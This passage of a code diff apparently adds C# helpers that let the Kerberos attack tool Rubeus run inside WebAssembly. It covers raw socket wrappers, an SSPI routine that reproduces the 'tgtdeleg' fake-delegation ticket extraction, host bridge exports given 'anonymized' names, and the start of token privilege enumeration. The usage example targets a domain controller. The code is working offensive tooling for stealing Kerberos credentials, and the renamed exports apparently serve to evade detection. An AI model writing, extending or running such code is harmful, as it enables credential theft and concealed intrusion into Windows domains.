ulong sock = Invoke(pSocket, 3, AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock != INVALID_SOCKET) _socket = sock;
}
private static void EnsureWsaInit()
{
if (_wsaInitialized) return;
uint pStartup = Resolve("ws2_32.dll", ref _ws2_32, "WSAStartup", ref _hWSAStartup);
if (pStartup == 0) { _wsaInitialized = true; return; }
// WSAStartup(WORD wVersionRequested=0x0202, LPWSADATA lpWSAData)
// WSADATA is ~400 bytes; allocate on stack and pass WASM address.
byte[] wsaData = new byte[408];
fixed (byte* wdp = wsaData)
{
Invoke(pStartup, 2, 0x0202u, (ulong)(uint)(IntPtr)wdp);
}
_wsaInitialized = true;
}
// ── Connect(host, port) ───────────────────────────────────────────────────
// Resolves host via gethostbyname, then calls connect() with sockaddr_in.
public bool Connect(string host, int port)
{
if (_socket == INVALID_SOCKET) return false;
uint pGethostbyname = Resolve("ws2_32.dll", ref _ws2_32, "gethostbyname", ref _hGethostbyname);
uint pHtons = Resolve("ws2_32.dll", ref _ws2_32, "htons", ref _hHtons);
uint pConnect = Resolve("ws2_32.dll", ref _ws2_32, "connect", ref _hConnect);
if (pGethostbyname == 0 || pHtons == 0 || pConnect == 0) return false;
// gethostbyname expects an ANSI string
byte[] hostBytes = Encoding.ASCII.GetBytes(host + "\0");
ulong hostentPtr;
fixed (byte* hp = hostBytes)
{
hostentPtr = Invoke(pGethostbyname, 1, (ulong)(uint)(IntPtr)hp);
}
if (hostentPtr == 0) return false;
// HOSTENT layout (x64):
// offset 0: char* h_name (8 bytes)
// offset 8: char** h_aliases (8 bytes)
// offset 16: short h_addrtype (2 bytes)
// offset 18: short h_length (2 bytes)
// offset 20: pad (4 bytes)
// offset 24: char** h_addr_list (8 bytes) — ptr to array of (char*) → uint32 IP
ulong addrListPtr = ReadHostU64(hostentPtr + 24);
if (addrListPtr == 0) return false;
// h_addr_list[0] is a char* that points to 4 bytes of IPv4 address
ulong firstAddrPtr = ReadHostU64(addrListPtr);
if (firstAddrPtr == 0) return false;
// Read the 4-byte IPv4 address
byte[] ipBytes = new byte[4];
fixed (byte* ip = ipBytes)
{
if (!CopyHostToWasm(firstAddrPtr, ip, 4)) return false;
}
uint ipAddr = (uint)(ipBytes[0] | (ipBytes[1] << 8) | (ipBytes[2] << 16) | (ipBytes[3] << 24));
// htons(port)
ulong netPort = Invoke(pHtons, 1, (ulong)(ushort)port);
// Build sockaddr_in (16 bytes) on WASM stack:
// short sin_family = AF_INET (2) [offset 0]
// ushort sin_port = htons(port) [offset 2]
// uint sin_addr = ipAddr (NBO) [offset 4]
// byte[8] sin_zero = 0 [offset 8]
byte[] saddr = new byte[16];
saddr[0] = AF_INET & 0xff;
saddr[1] = (AF_INET >> 8) & 0xff;
saddr[2] = (byte)(netPort & 0xff);
saddr[3] = (byte)((netPort >> 8) & 0xff);
saddr[4] = ipBytes[0];
saddr[5] = ipBytes[1];
saddr[6] = ipBytes[2];
saddr[7] = ipBytes[3];
// sin_zero already zero
fixed (byte* sp = saddr)
{
// connect(SOCKET s, const sockaddr* name, int namelen)
ulong rc = Invoke(pConnect, 3,
_socket,
(ulong)(uint)(IntPtr)sp,
16u);
return rc == 0;
}
}
// ── Send(data) ────────────────────────────────────────────────────────────
// Returns bytes sent, or -1 on error.
public int Send(byte[] data)
{
if (_socket == INVALID_SOCKET || data == null || data.Length == 0) return -1;
uint pSend = Resolve("ws2_32.dll", ref _ws2_32, "send", ref _hSend);
if (pSend == 0) return -1;
fixed (byte* dp = data)
{
// send(SOCKET, const char* buf, int len, int flags=0)
ulong result = Invoke(pSend, 4,
_socket,
(ulong)(uint)(IntPtr)dp,
(ulong)(uint)data.Length,
0u);
return (int)(uint)result;
}
}
// ── Recv(buffer) ──────────────────────────────────────────────────────────
// Returns bytes received, 0 on closed connection, -1 on error.
public int Recv(byte[] buffer)
{
if (_socket == INVALID_SOCKET || buffer == null || buffer.Length == 0) return -1;
uint pRecv = Resolve("ws2_32.dll", ref _ws2_32, "recv", ref _hRecv);
if (pRecv == 0) return -1;
fixed (byte* bp = buffer)
{
// recv(SOCKET, char* buf, int len, int flags=0)
ulong result = Invoke(pRecv, 4,
_socket,
(ulong)(uint)(IntPtr)bp,
(ulong)(uint)buffer.Length,
0u);
int n = (int)(uint)result;
return n;
}
}
// ── Receive exactly n bytes (Kerberos framing) ────────────────────────────
// Kerberos over TCP uses a 4-byte big-endian length prefix followed by the PDU.
// This method reads until exactly `length` bytes are accumulated.
public byte[] RecvAll(int length)
{
if (length <= 0 || length > 65536 * 16) return null;
byte[] buf = new byte[length];
int received = 0;
while (received < length)
{
byte[] tmp = new byte[length - received];
int n = Recv(tmp);
if (n <= 0) return received > 0 ? buf : null;
Buffer.BlockCopy(tmp, 0, buf, received, n);
received += n;
}
return buf;
}
// ── Close ─────────────────────────────────────────────────────────────────
public void Close()
{
if (_socket == INVALID_SOCKET) return;
uint pClose = Resolve("ws2_32.dll", ref _ws2_32, "closesocket", ref _hClosesocket);
if (pClose != 0) Invoke(pClose, 1, _socket);
_socket = INVALID_SOCKET;
}
// ── IDisposable ───────────────────────────────────────────────────────────
public void Dispose() => Close();
// ── Helper: read 8 bytes at host address (reuses same pattern as WfNetapi) ─
private static ulong ReadHostU64(ulong hostAddr)
{
if (hostAddr == 0) return 0;
byte[] buf = new byte[8];
fixed (byte* bp = buf)
{
if (!CopyHostToWasm(hostAddr, bp, 8)) return 0;
}
return ((ulong)buf[0])
| ((ulong)buf[1] << 8)
| ((ulong)buf[2] << 16)
| ((ulong)buf[3] << 24)
| ((ulong)buf[4] << 32)
| ((ulong)buf[5] << 40)
| ((ulong)buf[6] << 48)
| ((ulong)buf[7] << 56);
}
// ── Static convenience: KRB-style TCP send+receive (4-byte length prefix) ──
// Equivalent to Networking.SendBytes(host, port, data) in Rubeus.
// Returns the response PDU (without the 4-byte length prefix), or null on failure.
public static byte[] SendRecv(string host, int port, byte[] data)
{
if (string.IsNullOrEmpty(host) || data == null) return null;
using (var sock = new WfSocket())
{
if (!sock.Connect(host, port)) return null;
// KRB TCP framing: prepend 4-byte big-endian length
byte[] framed = new byte[4 + data.Length];
framed[0] = (byte)((data.Length >> 24) & 0xff);
framed[1] = (byte)((data.Length >> 16) & 0xff);
framed[2] = (byte)((data.Length >> 8) & 0xff);
framed[3] = (byte)( data.Length & 0xff);
Buffer.BlockCopy(data, 0, framed, 4, data.Length);
if (sock.Send(framed) < framed.Length) return null;
// Read 4-byte response length prefix
byte[] lenBuf = new byte[4];
int n = sock.Recv(lenBuf);
if (n != 4) return null;
int respLen = (lenBuf[0] << 24) | (lenBuf[1] << 16) | (lenBuf[2] << 8) | lenBuf[3];
if (respLen <= 0 || respLen > 65536 * 16) return null;
return sock.RecvAll(respLen);
}
}
}
}
+310
View File
@@ -0,0 +1,310 @@
// WfSspi.cs — high-level wrapper around secur32.dll SSPI for Rubeus
// `tgtdeleg`, replacing the nested-pointer SecBufferDesc chain (which
// the upstream Interop.cs constructs in WASM linear memory) with a
// HOST-memory layout that survives the bridge boundary.
//
// Why this exists:
// • wf_call translates top-level WASM-pointer args to host pointers
// (internal/hostmod/win32_windows_dll.go:1121 — values in the range
// [0x10000, wasmMemSize) get replaced by wasmMemBase + offset).
// • SecBufferDesc { ulVersion, cBuffers, pBuffers } embeds pBuffers,
// which is a host pointer to SecBuffer[]. Each SecBuffer in turn
// embeds pvBuffer (host pointer to bytes).
// • Nested pointers stay as WASM addresses on the host side because
// wf_call's translation only touches the immediate arg list, not
// fields inside structs.
//
// Workaround: build SecBufferDesc + SecBuffer[] + the output token
// buffer entirely in host memory via WfHost.HostAlloc, write the field
// values via WfHost.HostWriteUInt32/UInt64, then pass the
// SecBufferDesc's REAL host address as the wf_call arg. Because the
// address is >= wasmMemSize, wf_call leaves it alone — the host's
// secur32!InitializeSecurityContextW receives a fully-resolved nested
// struct chain.
//
// Host-side layout (one SecBuffer):
// +0 ulVersion = 0 (SECBUFFER_VERSION)
// +4 cBuffers = 1
// +8 pBuffers = address of SecBuffer[0] (12 bytes after SecBufferDesc)
// +16 cbBuffer = caller-provided token-buffer size
// +20 BufferType = 2 (SECBUFFER_TOKEN)
// +24 pvBuffer = address of token buffer
// +32 (16+16) = aligned SecBuffer struct end
//
// Token buffer: a separate HostAlloc of `cbBuffer` bytes.
using System;
using System.Runtime.InteropServices;
namespace WasmForge.Helpers
{
// Local SSPI struct definitions so this helper compiles in projects
// that don't ship Rubeus's Interop.cs (and vice-versa, to avoid
// accidentally taking dependencies on Rubeus's struct layout).
// SEC_HANDLE and SECURITY_INTEGER are 16 bytes / 8 bytes
// respectively on x64 — wasm32 layout matches because both fields
// are explicit ulong / uint pairs.
[StructLayout(LayoutKind.Sequential)]
public struct WfSecHandle
{
public ulong LowPart;
public ulong HighPart;
}
[StructLayout(LayoutKind.Sequential)]
public struct WfSecurityInteger
{
public uint LowPart;
public int HighPart;
}
/// <summary>
/// SecBufferDesc + SecBuffer[] container that lives entirely in
/// host memory. Disposable — releases both backing host buffers on
/// Dispose.
/// </summary>
public sealed class HostSecBufferDesc : IDisposable
{
public int DescHandle { get; }
public int TokenHandle { get; }
public uint TokenSize { get; }
public ulong DescAddr { get; } // real host address of SecBufferDesc
private bool _disposed;
private HostSecBufferDesc(int descHandle, int tokenHandle,
uint tokenSize, ulong descAddr)
{
DescHandle = descHandle;
TokenHandle = tokenHandle;
TokenSize = tokenSize;
DescAddr = descAddr;
}
/// <summary>
/// Allocate a SecBufferDesc with one SecBuffer (typed
/// SECBUFFER_TOKEN, ISC's default for InitializeSecurityContext)
/// referring to a token buffer of `tokenSize` bytes.
/// </summary>
public static HostSecBufferDesc AllocateTokenBuffer(int tokenSize)
{
// 12 bytes SecBufferDesc + 16 bytes SecBuffer + 4 padding = 32
int descHandle = WfHost.HostAlloc(32);
int tokenHandle = WfHost.HostAlloc(tokenSize);
ulong descAddr = WfHost.GetHostAddress(descHandle);
ulong tokenAddr = WfHost.GetHostAddress(tokenHandle);
// SecBufferDesc { ulVersion=0, cBuffers=1, pBuffers=&secBuffer[0] }
WfHost.HostWriteUInt32(descHandle, 0, 0); // ulVersion = 0
WfHost.HostWriteUInt32(descHandle, 4, 1); // cBuffers = 1
WfHost.HostWriteUInt64(descHandle, 8, descAddr + 16); // pBuffers → SecBuffer at +16
// SecBuffer { cbBuffer=tokenSize, BufferType=2 SECBUFFER_TOKEN, pvBuffer=tokenAddr }
WfHost.HostWriteUInt32(descHandle, 16, (uint)tokenSize); // cbBuffer
WfHost.HostWriteUInt32(descHandle, 20, 2); // BufferType = SECBUFFER_TOKEN
WfHost.HostWriteUInt64(descHandle, 24, tokenAddr); // pvBuffer
return new HostSecBufferDesc(descHandle, tokenHandle,
(uint)tokenSize, descAddr);
}
/// <summary>Read the rendered token bytes after the API call.</summary>
public byte[] ReadToken()
{
// After the call, cbBuffer may be smaller than TokenSize
// (the API writes only used length). Read the current
// cbBuffer first, then HostRead that many bytes from the
// token buffer.
byte[] hdr = WfHost.HostRead(DescHandle, 16, 4);
uint actualLen = BitConverter.ToUInt32(hdr, 0);
if (actualLen == 0 || actualLen > TokenSize) actualLen = TokenSize;
return WfHost.HostRead(TokenHandle, 0, (int)actualLen);
}
public void Dispose()
{
if (_disposed) return;
_disposed = true;
if (DescHandle != 0) WfHost.HostFree(DescHandle);
if (TokenHandle != 0) WfHost.HostFree(TokenHandle);
}
}
/// <summary>
/// WfSspi — high-level Kerberos GSS-API helper. The current single
/// entry-point (RequestFakeDelegTicket) is a drop-in replacement
/// for Rubeus's LSA.RequestFakeDelegTicket which builds the
/// SecBufferDesc chain in WASM memory (crashes the bridge under
/// NativeAOT-WASI). This implementation builds the chain in host
/// memory and reads the token bytes back via WfHost.HostRead.
/// </summary>
public static unsafe class WfSspi
{
// Constants from secur32.h
public const int SECPKG_CRED_OUTBOUND = 2;
public const int SECURITY_NATIVE_DREP = 0x00000010;
public const int SEC_E_OK = 0;
public const int SEC_I_CONTINUE_NEEDED = 0x00090312;
public const int ISC_REQ_DELEGATE = 0x1;
public const int ISC_REQ_MUTUAL_AUTH = 0x2;
public const int ISC_REQ_ALLOCATE_MEMORY = 0x100;
// Kerberos OID for unwrapping the AP-REQ from the GSS-API blob.
// Reference: kekeo — https://github.com/gentilkiwi/kekeo/blob/master/kekeo/modules/kuhl_m_tgt.c#L329-L345
private static readonly byte[] KerberosOid = {
0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x12, 0x01, 0x02, 0x02
};
// ── Bridge: InitializeSecurityContextW with host pOutput ──
//
// Maps to WfSspi_InitializeSecurityContext_HostOutput in
// dotnet/bridge/pinvoke_secur32_ext.c. pOutputHost is a HOST
// address (returned by WfHost.GetHostAddress on a SecBufferDesc
// allocated via HostSecBufferDesc.AllocateTokenBuffer) — passing
// an IntPtr (4 bytes on wasm32) would truncate the upper half.
// Bridge exports the bare name `AcquireCredentialsHandle`
// (which internally calls AcquireCredentialsHandleW on the
// host). DllImport EntryPoint must match the C symbol.
[DllImport("secur32.dll", EntryPoint = "AcquireCredentialsHandle", CharSet = CharSet.Unicode)]
private static extern int AcquireCredentialsHandle_Wf(
string pPrincipal, string pPackage, uint fCredentialUse,
IntPtr pvLogonID, IntPtr pAuthData, IntPtr pGetKeyFn,
IntPtr pvGetKeyArgument,
ref WfSecHandle phCredential, ref WfSecurityInteger ptsExpiry);
[DllImport("secur32.dll", EntryPoint = "WfSspi_InitializeSecurityContext_HostOutput")]
private static extern uint WfSspi_InitializeSecurityContext_HostOutput(
ref WfSecHandle phCredential,
IntPtr phContext,
string pTargetName,
uint fContextReq,
uint Reserved1,
uint TargetDataRep,
IntPtr pInput,
uint Reserved2,
ref WfSecHandle phNewContext,
ulong pOutputHost,
ref uint pfContextAttr,
ref WfSecurityInteger ptsExpiry);
/// <summary>
/// RequestFakeDelegTicket — drop-in replacement for
/// Rubeus's LSA.RequestFakeDelegTicket using HOST-memory
/// SecBufferDesc construction (avoids the nested-pointer
/// marshaling crash that the upstream BCL path hits under
/// NativeAOT-WASI).
///
/// Returns the AP-REQ Kerberos blob extracted from the
/// GSS-API output, or null on any failure. The caller is
/// responsible for cache extraction (LsaCallAuthenticationPackage)
/// — this helper only handles the SSPI dance to populate the
/// cache with the unconstrained delegation ticket.
/// </summary>
public static byte[] RequestFakeDelegTicket(string targetSPN, bool display = true)
{
if (string.IsNullOrEmpty(targetSPN))
{
if (display) Console.WriteLine("[X] WfSspi.RequestFakeDelegTicket: targetSPN required");
return null;
}
var phCredential = new WfSecHandle();
var ptsExpiry = new WfSecurityInteger();
const uint SECPKG_CRED_OUTBOUND_FLAG = 2;
int status = AcquireCredentialsHandle_Wf(
null, "Kerberos", SECPKG_CRED_OUTBOUND_FLAG,
IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero,
ref phCredential, ref ptsExpiry);
if (status != 0)
{
if (display) Console.WriteLine($"[X] AcquireCredentialsHandle failed: 0x{status:X}");
return null;
}
using (var hostBuf = HostSecBufferDesc.AllocateTokenBuffer(12288))
{
var phNewContext = new WfSecHandle();
uint ctxAttrs = 0;
var lifetime = new WfSecurityInteger();
const uint ISC_REQ_ALL = (uint)(ISC_REQ_ALLOCATE_MEMORY
| ISC_REQ_DELEGATE
| ISC_REQ_MUTUAL_AUTH);
if (display)
{
Console.WriteLine($"[*] Initializing Kerberos GSS-API w/ fake delegation for target '{targetSPN}'");
}
int rc = (int)WfSspi_InitializeSecurityContext_HostOutput(
ref phCredential,
IntPtr.Zero,
targetSPN,
ISC_REQ_ALL,
0,
(uint)SECURITY_NATIVE_DREP,
IntPtr.Zero,
0,
ref phNewContext,
hostBuf.DescAddr,
ref ctxAttrs,
ref lifetime);
if (rc != SEC_E_OK && rc != SEC_I_CONTINUE_NEEDED)
{
if (display) Console.WriteLine($"[X] InitializeSecurityContext failed: 0x{rc:X}");
return null;
}
if (display) Console.WriteLine("[+] Kerberos GSS-API initialization success!");
if ((ctxAttrs & (uint)ISC_REQ_DELEGATE) == 0)
{
if (display) Console.WriteLine("[X] Delegation flag not honored — target may not be configured for unconstrained delegation");
return null;
}
if (display) Console.WriteLine("[+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.");
byte[] gssBlob = hostBuf.ReadToken();
byte[] apReq = ExtractApReq(gssBlob);
if (apReq == null)
{
if (display) Console.WriteLine("[X] Could not extract AP-REQ from GSS-API output");
return null;
}
if (display) Console.WriteLine("[*] Found the AP-REQ delegation ticket in the GSS-API output.");
return apReq;
}
}
/// <summary>
/// Locate the Kerberos AP-REQ blob inside a GSS-API output
/// token by searching for the Kerberos OID then advancing
/// past the 2-byte mech-type field.
/// </summary>
public static byte[] ExtractApReq(byte[] gssBlob)
{
if (gssBlob == null || gssBlob.Length < KerberosOid.Length + 2)
return null;
for (int i = 0; i < gssBlob.Length - KerberosOid.Length; i++)
{
bool match = true;
for (int j = 0; j < KerberosOid.Length; j++)
{
if (gssBlob[i + j] != KerberosOid[j]) { match = false; break; }
}
if (!match) continue;
// Skip past OID + 2-byte mech-type tag, the rest is the AP-REQ.
int apReqStart = i + KerberosOid.Length + 2;
if (apReqStart >= gssBlob.Length) return null;
int apReqLen = gssBlob.Length - apReqStart;
byte[] apReq = new byte[apReqLen];
Array.Copy(gssBlob, apReqStart, apReq, 0, apReqLen);
return apReq;
}
return null;
}
}
}
+258
View File
@@ -0,0 +1,258 @@
// WfTcp.cs — Pure WASM-side TCP via WasmForge's WASI socket primitives.
//
// Rationale:
// WASI P2 sockets are stubbed (no-ops) on NativeAOT-WASI, so System.Net.Sockets
// doesn't reach the wire. The Go bridge env import `net_tcpsendrecv` (called
// via WfHostBridge.TcpSendRecv → NetworkHostHelper.TcpSendRecv) is the prior
// workaround, but the round-trip through a host-side dialer makes it brittle
// and ties Rubeus to a function the wasm-side has no other use for.
//
// This helper instead drives WasmForge's existing WASI-style socket exports
// (sock_open / sock_connect / sock_write / sock_read / sock_close, plus
// sock_getaddrinfo for DNS) directly from C# via DllImport("env"). The host
// side already implements these using Go's syscall.Socket() across all
// platforms (internal/hostmod/tcp.go, dns.go).
//
// Anonymized export names (internal/names/names.go):
// sock_open -> fd_open
// sock_connect -> fd_connect
// sock_read -> fd_read2
// sock_write -> fd_write2
// sock_close -> fd_close2
// sock_getaddrinfo -> addr_resolve
//
// Usage (replaces Rubeus's Networking.SendBytes):
//
// byte[] resp = WfTcp.SendRecv("kingslanding.sevenkingdoms.local", 88, asReqBytes);
//
// The KRB framing (4-byte big-endian length prefix on send and response) is
// built in so the call site stays a drop-in for the existing Rubeus call.
using System;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace WasmForge.Helpers
{
public static unsafe class WfTcp
{
// ── WASI errno constants (internal/hostmod/module.go) ───────────────────
private const uint ESUCCESS = 0;
private const uint EAGAIN = 6;
private const uint EINPROGRESS = 26;
private const uint EBADF = 8;
// ── Berkeley socket constants ───────────────────────────────────────────
private const int AF_INET = 2;
private const int SOCK_STREAM = 1;
private const int IPPROTO_TCP = 6;
// ── WASI socket primitive imports ───────────────────────────────────────
[DllImport("env", EntryPoint = "fd_open")]
private static extern uint sock_open(int domain, int socktype, int protocol, int* fdPtr);
[DllImport("env", EntryPoint = "fd_connect")]
private static extern uint sock_connect(int fd, byte* addrPtr, uint addrLen);
[DllImport("env", EntryPoint = "fd_read2")]
private static extern uint sock_read(int fd, byte* bufPtr, uint bufLen, uint* nreadPtr);
[DllImport("env", EntryPoint = "fd_write2")]
private static extern uint sock_write(int fd, byte* bufPtr, uint bufLen, uint* nwrittenPtr);
[DllImport("env", EntryPoint = "fd_close2")]
private static extern uint sock_close(int fd);
[DllImport("env", EntryPoint = "addr_resolve")]
private static extern uint sock_getaddrinfo(
byte* namePtr, uint nameLen,
byte* svcPtr, uint svcLen,
uint hints,
byte* resultPtr, uint maxResults,
uint* nPtr);
// ── DNS resolution ──────────────────────────────────────────────────────
// Returns IPv4 bytes (4) on success; null on failure.
// First tries IP-literal parse to skip the DNS round-trip when not needed.
public static byte[] ResolveIPv4(string host)
{
if (string.IsNullOrEmpty(host)) return null;
if (IPAddress.TryParse(host, out var literal) &&
literal.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)
{
return literal.GetAddressBytes();
}
byte[] nameBytes = Encoding.UTF8.GetBytes(host);
// sock_getaddrinfo wire format (per internal/hostmod/dns.go):
// per-entry: [family:u16 LE][socktype:u16 LE][protocol:u16 LE][addrlen:u16 LE][addr:N]
// IPv4 entry total = 8 (header) + 8 (addr+padding to addrSizeIPv4) = 16 bytes
byte[] resultBuf = new byte[4 * 32];
uint nResults = 0;
uint err;
fixed (byte* np = nameBytes, rp = resultBuf)
{
err = sock_getaddrinfo(
np, (uint)nameBytes.Length,
null, 0,
0u,
rp, 4u,
&nResults);
}
if (err != ESUCCESS || nResults == 0) return null;
// Walk entries to find the first IPv4. Per dns.go:
// header[0:8]: [family LE u16][socktype LE u16][protocol LE u16][addrlen LE u16]
// body[8:8+addrlen]: inner sockaddr_in = [family LE u16][port BE u16][addr 4]
// For IPv4 addrlen=8; the actual addr bytes are at off+8+4 = off+12.
int off = 0;
for (uint i = 0; i < nResults && off + 8 <= resultBuf.Length; i++)
{
ushort family = (ushort)(resultBuf[off + 0] | (resultBuf[off + 1] << 8));
ushort alen = (ushort)(resultBuf[off + 6] | (resultBuf[off + 7] << 8));
int entryEnd = off + 8 + (alen == 0 ? 8 : alen);
if (family == AF_INET && alen >= 8 && entryEnd <= resultBuf.Length)
{
var ip = new byte[4];
Array.Copy(resultBuf, off + 12, ip, 0, 4);
return ip;
}
off = entryEnd;
}
return null;
}
// ── Single TCP send+recv round-trip with KRB-style 4-byte framing ───────
// Equivalent to Rubeus's Networking.SendBytes(host, port, data).
// Returns the response PDU (without the 4-byte length prefix), or null on
// any failure.
public static byte[] SendRecv(string host, int port, byte[] data)
{
if (string.IsNullOrEmpty(host) || data == null) return null;
byte[] ip = ResolveIPv4(host);
if (ip == null) return null;
int fd = -1;
uint err;
err = sock_open(AF_INET, SOCK_STREAM, IPPROTO_TCP, &fd);
if (err != ESUCCESS || fd < 0) return null;
try
{
// sockaddr_in wire format (internal/hostmod/addr.go):
// [family:u16 LE][port:u16 BE][addr:4 bytes] = 8 bytes total
byte[] addr = new byte[8];
addr[0] = (byte)(AF_INET & 0xff);
addr[1] = (byte)((AF_INET >> 8) & 0xff);
addr[2] = (byte)((port >> 8) & 0xff);
addr[3] = (byte)(port & 0xff);
addr[4] = ip[0]; addr[5] = ip[1]; addr[6] = ip[2]; addr[7] = ip[3];
fixed (byte* ap = addr)
{
err = sock_connect(fd, ap, (uint)addr.Length);
}
// EINPROGRESS on Unix indicates non-blocking connect in flight; the
// host's sock_connect already blocks on Windows via select(), so any
// non-fatal status here is fine. EAGAIN returns from the same path.
if (err != ESUCCESS && err != EINPROGRESS && err != EAGAIN) return null;
// Build framed payload: 4-byte big-endian length prefix.
byte[] framed = new byte[4 + data.Length];
framed[0] = (byte)((data.Length >> 24) & 0xff);
framed[1] = (byte)((data.Length >> 16) & 0xff);
framed[2] = (byte)((data.Length >> 8) & 0xff);
framed[3] = (byte)(data.Length & 0xff);
Buffer.BlockCopy(data, 0, framed, 4, data.Length);
// Write the framed payload, retrying on EAGAIN.
int totalWritten = 0;
int writeTries = 0;
while (totalWritten < framed.Length && writeTries < 200)
{
uint nw = 0;
fixed (byte* fp = framed)
{
err = sock_write(fd, fp + totalWritten, (uint)(framed.Length - totalWritten), &nw);
}
if (err == ESUCCESS)
{
totalWritten += (int)nw;
if (nw == 0) { Thread.Sleep(10); writeTries++; }
}
else if (err == EAGAIN)
{
Thread.Sleep(10);
writeTries++;
}
else
{
return null;
}
}
if (totalWritten < framed.Length) return null;
// Read 4-byte response length prefix.
byte[] lenBuf = new byte[4];
if (!ReadExact(fd, lenBuf, lenBuf.Length)) return null;
int respLen = (lenBuf[0] << 24) | (lenBuf[1] << 16) | (lenBuf[2] << 8) | lenBuf[3];
if (respLen <= 0 || respLen > 65536 * 16) return null;
byte[] resp = new byte[respLen];
if (!ReadExact(fd, resp, respLen)) return null;
return resp;
}
finally
{
sock_close(fd);
}
}
// ReadExact retries sock_read until `count` bytes are filled or repeated
// EAGAIN / zero-read indicates EOF or stall.
private static bool ReadExact(int fd, byte[] dst, int count)
{
int got = 0;
int idleTries = 0;
while (got < count)
{
uint nr = 0;
uint err;
fixed (byte* dp = dst)
{
err = sock_read(fd, dp + got, (uint)(count - got), &nr);
}
if (err == ESUCCESS)
{
if (nr == 0)
{
// Zero-byte successful read = EOF or no data yet under non-blocking.
idleTries++;
if (idleTries > 200) return false;
Thread.Sleep(10);
continue;
}
got += (int)nr;
idleTries = 0;
}
else if (err == EAGAIN)
{
idleTries++;
if (idleTries > 200) return false;
Thread.Sleep(10);
}
else
{
return false;
}
}
return true;
}
}
}
+721
View File
@@ -0,0 +1,721 @@
// WfToken.cs — Token groups and privileges via direct Win32 wf_call pattern.
// Replaces the deleted token_groups_get / token_privs_get Go host bridges.
// Follows the WfNetapi.cs canonical pattern: mod_load → mod_resolve → mod_invoke
// + RtlMoveMemory for host→WASM buffer copies.
//
// Struct layouts (x64):
// TOKEN_GROUPS:
// DWORD GroupCount (offset 0)
// [4-byte pad for 8-byte array alignment]
// SID_AND_ATTRIBUTES[] each 16 bytes: ptr Sid (8) + DWORD Attributes (4) + 4 pad
//
// TOKEN_PRIVILEGES:
// DWORD PrivilegeCount (offset 0)
// LUID_AND_ATTRIBUTES[] each 12 bytes: DWORD LowPart + DWORD HighPart + DWORD Attributes
// (TOKEN_PRIVILEGES is packed — no padding between count and array)
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;
namespace WasmForge.Helpers
{
public static unsafe class WfToken
{
// ── Bridge primitives (same declarations as WfNetapi.cs) ────────────────
[DllImport("env", EntryPoint = "mod_load")]
private static extern uint mod_load(uint namePtr);
[DllImport("env", EntryPoint = "mod_resolve")]
private static extern uint mod_resolve(uint libHandle, uint namePtr);
[DllImport("env", EntryPoint = "mod_invoke")]
private static extern ulong mod_invoke(
ulong procHandle, uint nargs,
ulong a0, ulong a1, ulong a2, ulong a3,
ulong a4, ulong a5, ulong a6, ulong a7,
ulong a8, ulong a9, ulong a10, ulong a11,
ulong a12, ulong a13, ulong a14,
ulong ret1Ptr, ulong errPtr);
// ── Cached proc handles ─────────────────────────────────────────────────
private static uint _kernel32;
private static uint _advapi32;
private static uint _ntdll;
private static uint _hGetCurrentProcess;
private static uint _hOpenProcessToken;
private static uint _hGetTokenInformation;
private static uint _hConvertSidToStringSidW;
private static uint _hLookupAccountSidW;
private static uint _hLookupPrivilegeNameW;
private static uint _hCloseHandle;
private static uint _hLocalFree;
private static uint _hVirtualAlloc;
private static uint _hVirtualFree;
private static uint _hRtlMoveMemory;
// ── Resolve + Invoke helpers (identical to WfNetapi.cs pattern) ─────────
private static uint Resolve(string dll, ref uint cachedLib, string fn, ref uint cachedProc)
{
if (cachedProc != 0) return cachedProc;
if (cachedLib == 0)
{
byte[] db = Encoding.ASCII.GetBytes(dll + "\0");
fixed (byte* dp = db) cachedLib = mod_load((uint)(IntPtr)dp);
if (cachedLib == 0) return 0;
}
byte[] fb = Encoding.ASCII.GetBytes(fn + "\0");
fixed (byte* fp = fb) cachedProc = mod_resolve(cachedLib, (uint)(IntPtr)fp);
return cachedProc;
}
private static ulong Invoke(uint proc, uint nargs,
ulong a0 = 0, ulong a1 = 0, ulong a2 = 0, ulong a3 = 0,
ulong a4 = 0, ulong a5 = 0, ulong a6 = 0, ulong a7 = 0,
ulong a8 = 0, ulong a9 = 0)
{
ulong ret1 = 0, err = 0;
return mod_invoke((ulong)proc, nargs,
a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, 0, 0, 0, 0, 0,
(ulong)(uint)(IntPtr)(&ret1),
(ulong)(uint)(IntPtr)(&err));
}
// Copy len bytes from a host address into a WASM-side buffer.
private static bool CopyHostToWasm(ulong hostAddr, uint wasmPtr, uint len)
{
if (hostAddr == 0 || wasmPtr == 0 || len == 0) return false;
uint pCopy = Resolve("ntdll.dll", ref _ntdll, "RtlMoveMemory", ref _hRtlMoveMemory);
if (pCopy == 0) return false;
Invoke(pCopy, 3, (ulong)wasmPtr, hostAddr, (ulong)len);
return true;
}
// Read a little-endian 8-byte value from a WASM buffer at byte offset off.
private static ulong Read8(byte* p, int off) =>
((ulong)p[off+0]) | ((ulong)p[off+1] << 8) |
((ulong)p[off+2] << 16) | ((ulong)p[off+3] << 24) |
((ulong)p[off+4] << 32) | ((ulong)p[off+5] << 40) |
((ulong)p[off+6] << 48) | ((ulong)p[off+7] << 56);
// Read a little-endian 4-byte value from a WASM buffer at byte offset off.
private static uint Read4(byte* p, int off) =>
(uint)(p[off+0] | (p[off+1] << 8) | (p[off+2] << 16) | (p[off+3] << 24));
// Read a NUL-terminated UTF-16LE wide string from a host pointer into a managed string.
private static string ReadWStringFromHost(ulong hostAddr, int maxChars)
{
if (hostAddr == 0 || maxChars <= 0) return "";
byte[] buf = new byte[maxChars * 2];
fixed (byte* bp = buf)
{
if (!CopyHostToWasm(hostAddr, (uint)(IntPtr)bp, (uint)buf.Length)) return "";
}
int charLen = 0;
for (int i = 0; i < maxChars; i++)
{
if (buf[2*i] == 0 && buf[2*i+1] == 0) break;
charLen++;
}
if (charLen == 0) return "";
char[] chars = new char[charLen];
for (int i = 0; i < charLen; i++)
chars[i] = (char)(buf[2*i] | (buf[2*i+1] << 8));
return new string(chars);
}
// Parse a SID structure from raw bytes into SDDL string form (S-1-X-Y-...).
// BYTE Revision (offset 0)
// BYTE SubAuthorityCount (offset 1) — typically 0..15
